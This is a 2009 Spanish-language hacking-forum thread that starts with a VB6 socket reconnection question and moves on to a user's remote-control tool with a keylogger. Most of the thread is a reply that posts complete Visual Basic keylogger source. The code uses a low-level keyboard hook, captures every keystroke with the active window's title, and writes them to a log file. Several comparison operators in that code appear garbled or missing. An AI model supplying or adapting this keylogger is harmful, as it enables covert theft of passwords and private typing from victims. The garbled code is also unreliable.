Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: 50l3r en 2 Junio 2009, 16:14 PM

Título: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 16:14 PM
Veran tengo implantado en cliente y server el csocketmaster en vez del winsock

el server lo tengo configurado que cada 3 segundos si no esta conectado se vuelva a conectar, pues veran pasa lo siguiente

yo tengo el cliente escuchando y se conecta el server, cogo y hago la prueba de cerrar el puerto,y se desconecta el servidor, escucho de nuevo y se me vuelve a conectar

el problema esta en que si yo me salgo de la aplicacion, cogo el mismo puerto y me pongo a escuchar de nuevo el servidor ya no se conecta, a que se debera?

gracias
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: fede_cp en 2 Junio 2009, 17:50 PM
¿Podrias poner el codigo en la parte de conexion entre servidor y cliente?

adios 5oler  ::)

nos vemos
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: Spider-Net en 2 Junio 2009, 18:04 PM
Cierra todos los sockets que tengas abiertos en tu aplicación en el evento form_unload.
Al cerrarse la aplicación sin cerrar los sockets cuando vuelves a abrirla los sockets siguen ocupando esos puertos que tenías puesto de antes y por eso no puede volver a conectar. Si los cierras siempre en el form_unload no tendrás problemas cuando lo vuelvas a abrir.

Para ver el estado de las conexiones en el cmd puedes escribir el comando netstat -na y podrás ver como cuando tu aplicación se cierra los sockets no han sido cerrados.

PD: Se escribe "cojo" no "cogo" por dios...

Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 20:08 PM
ordenadoritis jaja, la era de los sms :P

muchas gracias ya me funciona

por cierto nose porque en el cliente cuando lo cierro sigue estando el proceso ;/
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: YST en 2 Junio 2009, 20:27 PM
Cita de: 50l3r en  2 Junio 2009, 20:08 PM
ordenadoritis jaja, la era de los sms :P

muchas gracias ya me funciona

por cierto nose porque en el cliente cuando lo cierro sigue estando el proceso ;/
Cuando quieras que finalizze ponle un
Código (VB) [Seleccionar]
end
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 20:29 PM
pero la cosa es que yo le doy a la x del programa

si pongo en el unload end valdra?
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: Spider-Net en 2 Junio 2009, 21:07 PM
Cita de: 50l3r en  2 Junio 2009, 20:29 PM
pero la cosa es que yo le doy a la x del programa

si pongo en el unload end valdra?

SI xD
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 21:15 PM
ok simplemente simple, por ahora ya se acerca la 3 version, solo me hace falta añadir al keyloggers los caracteres alfanumericos jeje, miren:


(http://img5.imageshack.us/img5/48/29345331.jpg)

un adelanto :P
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: Spider-Net en 2 Junio 2009, 21:19 PM
Hay que reconocer que al menos el diseño con los muñequitos es original xDD y gracioso.

Faltan añadir caracteres alfanuméricos al keylogger? Sabes cuáles son los caracteres alfanuméricos?
Todos menos los caracteres especiales, todas las letras y todos los números... son esos los que te faltan? osea todos no? xD

De todas formas no es difícil hacer eso, bueno, depende de que forma quieras interceptar las teclas, yo lo hacía con un timer, pero lo suyo es hacerlo con un hook. Ya nos contarás como lo haces..

Un saludo!
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 21:24 PM
sorry caracteres numericos, se me fue la pinza tanto programacion

lo hago con un timer al 100 y el resultado no creo que sea tan bueno como en un hook, si tienes la amabilidad de decirme como se haria con un
hook?

gracias
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: YST en 2 Junio 2009, 21:32 PM
Código (VB) [Seleccionar]

Option Explicit

'|||||||||||||||||||||||
'| |
'|Autor: Karcrack |
'|Fecha: 24/09/08 |
'| |
'|||||||||||||||||||||||

Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL As Long = 13

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Type KBDLLHOOKSTRUCT
VkCode As Long
ScanCode As Long
Flags As Long
Time As Long
DwExtraInfo As Long
End Type

Dim KBHook As Long
Dim KeyData As String
Dim lHwnd As Long

Public Sub ManageKeylogger(ByVal Enable As Boolean)
Select Case Enable
Case True
KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
Case False
Call UnhookWindowsHookEx(KBHook)
End Select
End Sub

Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
Dim KeyBoardHook As KBDLLHOOKSTRUCT

If nCode = 0 Then
CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
With KeyBoardHook
If .Flags = 0 Or .Flags = 1 Then
If SaveLog(TranslateKey(.VkCode)) > 50 Then
Call LogToFile(App.Path & "\\Log.log")
End If
End If
End With
Else
KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
End If
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
Dim LngShift As Long

'Funcion optimizada para su uso en teclados españoles.

LngShift = GetAsyncKeyState(vbKeyShift)
If KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = IIf(LngShift 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode = 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift 0, "_", "-")
If KeyCode = 191 Then TranslateKey = IIf(LngShift 0, "'", "#")
If KeyCode = 187 Then TranslateKey = IIf(LngShift 0, "*", "+")
If KeyCode = 186 Then TranslateKey = IIf(LngShift 0, "Ü", "ü")
If KeyCode = 192 Then TranslateKey = IIf(LngShift 0, "Ö", "ö")
If KeyCode = 222 Then TranslateKey = IIf(LngShift 0, "Ä", "ä")
If KeyCode = 219 Then TranslateKey = IIf(LngShift 0, "?", "ß")
If KeyCode = 220 Then TranslateKey = IIf(LngShift 0, "°", "^")
If KeyCode = 48 Then TranslateKey = IIf(LngShift 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift 0, "§", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If TranslateKey = "" And KeyCode 160 Then TranslateKey = KeyCode
End If
End Function

Public Function SaveLog(ByVal sKey As String) As Double
Dim aHwnd As Long
Dim WinText As String
aHwnd = GetForegroundWindow

If aHwnd lHwnd Then
lHwnd = aHwnd
WinText = String$(255, Chr$(0))
Call GetWindowText(aHwnd, WinText, Len(WinText))
WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)

KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
End If

KeyData = KeyData & sKey

SaveLog = Len(KeyData)
End Function

Public Sub LogToFile(ByVal sPath As String)
Open sPath For Binary As #1
Put #1, , KeyData
Close #1
End Sub
Título: Re: Error de restablecimiento de conexion con csocketmaster
Publicado por: 50l3r en 2 Junio 2009, 21:56 PM
gracias jeje, para la siguiente version lo mejorare  ;)